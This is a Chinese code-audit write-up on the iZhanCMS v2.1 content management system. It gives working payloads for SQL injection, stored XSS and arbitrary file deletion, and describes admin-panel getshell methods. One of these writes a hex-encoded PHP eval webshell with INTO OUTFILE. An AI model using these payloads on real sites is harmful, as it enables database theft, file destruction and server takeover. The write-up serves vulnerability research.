专栏首页Bypass【代码审计】iZhanCMS_v2.1 漏洞分析

【代码审计】iZhanCMS_v2.1 漏洞分析

01

前言

爱站CMS是一款开源免费的CMS内容管理系统,具有开放灵活,安全高效,简洁美观!本次针对iZhanCMS_v2.1版本进行代码审计,发现代码中存在的安全漏洞。

02

环境搭建

iZhanCMS官网:http://www.izhancms.com

网站源码版本:爱站CMS(zend6.0) V2.1

程序源码下载:http://www.izhancms.com/category/Category/index/cid/1

默认后台地址:http://127.0.0.1/admin/admin/index

默认账号密码:admin 密码自设至少六位

03

前台SQL注入漏洞一

代码分析:

漏洞文件位置: /application/index/controllers/IndexController.php 第89-102行:

这段函数中将获取到的参数id,没有单引号保护,拼接到SQL语句中然后带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信

息。

漏洞利用:

根据漏洞位置,构造出时间盲注的Payload:http://127.0.0.1/index/index/qrcodePreview?id=2/**/xor/**/if(substring(user(),1,1)='2',sleep(5),0)--可直接使用SQLMAP获取数据库数据:

04

前台SQL注入漏洞二

代码分析:

漏洞文件位置:/application/goods/controllers/GoodsController.php 第68-96行

这段函数中将获取到的参数id,带入到getLinkgoodsid函数中查询,注意看第三个圈住

的地方,参数id拼接到SQL语句中,然后带入数据库执行,这个地方就存在SQL注

入。我们再来跟进getLinkgoodsid函数看一下:

漏洞文件位置:/application/goods/models/GoodsModel.php 第91-109行:

在这段函数中将获取到的参数id,同样拼接到SQL语句中,然后带入数据库执行。

综上,参数id在这里有两处SQL语句拼接,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞,获取数据库敏感信息。

漏洞利用:

根据漏洞位置,构造出时间盲注的Payload:

http://127.0.0.1/goods/Goods/info?id=2 xor if('2'='2',sleep(5),0)--

可直接使用SQLMAP来跑:

05

前台存储型XSS

太简单,代码分析就略过。

漏洞利用:

网站前台--意见和建议--留言人—提交Payload:222<script>alert(/xss/)</script>

当管理员在后台查看留言信息时,会触发js脚本代码。

06

后台多处SQL注入漏洞

代码分析:

漏洞文件位置一:/admin/application/extensions/controllers/QrcodeController.php

第235-246行:

这段函数中将获取到的参数id,拼接到SQL语句中,然后带入数据库执行,这个地方就存在SQL注入。

漏洞文件位置二:/admin/application/webset/controllers/ManagelogController.php

第33-57行:

漏洞文件位置三:/admin/application/webset/controllers/AdminuserController.php

第37-69行:

在这段函数中将获取到的参数keyword,未经任何过滤,同样拼接到SQL语句中,然后带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

基本后台所有的搜索框都存在类似的情况。

漏洞利用:

漏洞位置一 Payload:http://127.0.0.1/admin/extensions/qrcode/preview?id=2

可直接使用SQLMAP来跑:

位置二:登录后台--系统设置--日志管理--搜索--keyword

位置三:登录后台--权限设置--系统管理员--搜索--keyword

后台搜索框几乎都存在一样的问题,不一一去验证了。

07

后台任意文件删除漏洞

代码分析

漏洞文件位置:/admin/application/webset/controllers/DbrecoverController.php

跟进deleteTable函数:

漏洞文件位置:/admin/application/webset/models/TableModel.php

在这段函数中,获取到$save_path,进行处理,然后直接将$filen_path带入删除函数中执行,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件。

漏洞利用:

在根目录新建test.txt,作为漏洞测试文件

登录后台,提交Payload,删除根目录下的test.txt 文件

Payload:http://127.0.0.1/admin/webset/dbrecover/delete?tbname=../../../test.txt

08

后台Getshell

方式一:修改标签文件

登录后台--模板管理--标签管理--标签列表--修改tag.lib.php:

Payload:phpinfo();

访问 http://127.0.0.1/library/mainone/taglib/tags.lib.php 成功触发代码执行漏洞。

方式二:利用SQL语句写入webshell

登录后台—系统设置—数据库操作—SQL语句—执行SQL语句。

问题:输入的字符会进行html实体编码,因此使用传统的into outfile语句无法成功写入

文件

select '<?php eval($_POST[cmd]);?>' into outfile 'c:/www/222aaa.php' 写入失败

将一句话转化为Hex编码,构造Pyaload如下:

SELECT 111222 INTO OUTFILE 'E:/study/WWW/iZhanCMS/2222.php' LINES

TERMINATED BY 0x3C3F70687020406576616C28245F504F53545B2761275D293B3F3E –

成功写入webshell,控制网站服务器

09

总结

这是一次黑盒结合白盒的漏洞挖掘案例,相对会全面一点,有对这方面有研究的童鞋,欢迎来相互探讨,交流。

Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

本文分享自微信公众号 - Bypass(Bypass--),作者:Bypass

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-03-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 【代码审计】QYKCMS后台任意文件上传、任意文件读取漏洞

    青云客网站管理系统(QYKCMS)是青云客开发的一款基于PHP+MySql的轻量级智能建站系统。在T00ls看到两篇QYKCMS的代码审计文章,也下载了一套回来...

    Bypass
  • MySQL注入点写入WebShell的几种方式

    在工具化日益成熟的今天,手工注入的能力越来越被忽视了。当你掌握了一款工具的使用时,应更深入的去了解工具帮你做了什么,把工具所产生的影响控制在自己可控的范围内。

    Bypass
  • 这些年,我们一直追逐的漏洞利用神器

    现在,也许我们所认为的漏洞利用工具神器,十年后,又该会是什么样子呢?可能大概就像我们现在看到以前的啊d注入工具的样子吧。

    Bypass
  • Swift-第一个程序_网页展示

    b、左边选择IOS中的Application,右边Singl View Application,最后next

    Python疯子
  • 记一次面试的尴尬,说说作为数据库工程师,学好英语的重要性

    很多年前,我就知道自己很笨,不会察言观色,不会端茶递水,肯定不能在某些单位混得开。所以工作2年后,就动了跳槽的念头。看着外企招聘DBA,开出比自己当时高3-4倍...

    Lenis
  • 【漏洞预警】泛微e-cology OA系统SQL注入漏洞预警通告

    2019年10月10日,国家信息安全漏洞共享平台(CNVD)公布了泛微e-cology OA系统存在SQL注入漏洞(CNVD-2019-34241)。泛微e-c...

    绿盟科技安全情报
  • 【SQL】小心在循环中声明变量——浅析SQL变量作用域

    如果你认为这个语句跑起来没问题,那你值得看下去,会避免以后踩到【SQL变量作用域】的坑。

    AhDung
  • 使用PHP应用查询SAP HANA Express Edition里的数据

    前提:64位的PHP runtime和64位的Apache Web server已经安装完毕。

    Jerry Wang
  • 希捷网络存储(NAS)设备上存在0day漏洞,Metasploit已更新漏洞利用程序

    希捷科技(Seagate)成立于1979年,是著名的硬盘和存储解决方案供应商。最近安全专家在希捷网络附加存储(NAS)设备上发现了一个高危0day漏洞,攻击者可...

    FB客服
  • 安全启动存在严重漏洞,几乎影响所有的Linux和Windows设备

    今日,网络安全研究人员披露了一个新的高风险漏洞的详细信息。该漏洞影响了全球数十亿设备,几乎波及所有正在运行Linux发行版或Windows系统的服务器、工作站,...

    FB客服

扫码关注云+社区

领取腾讯云代金券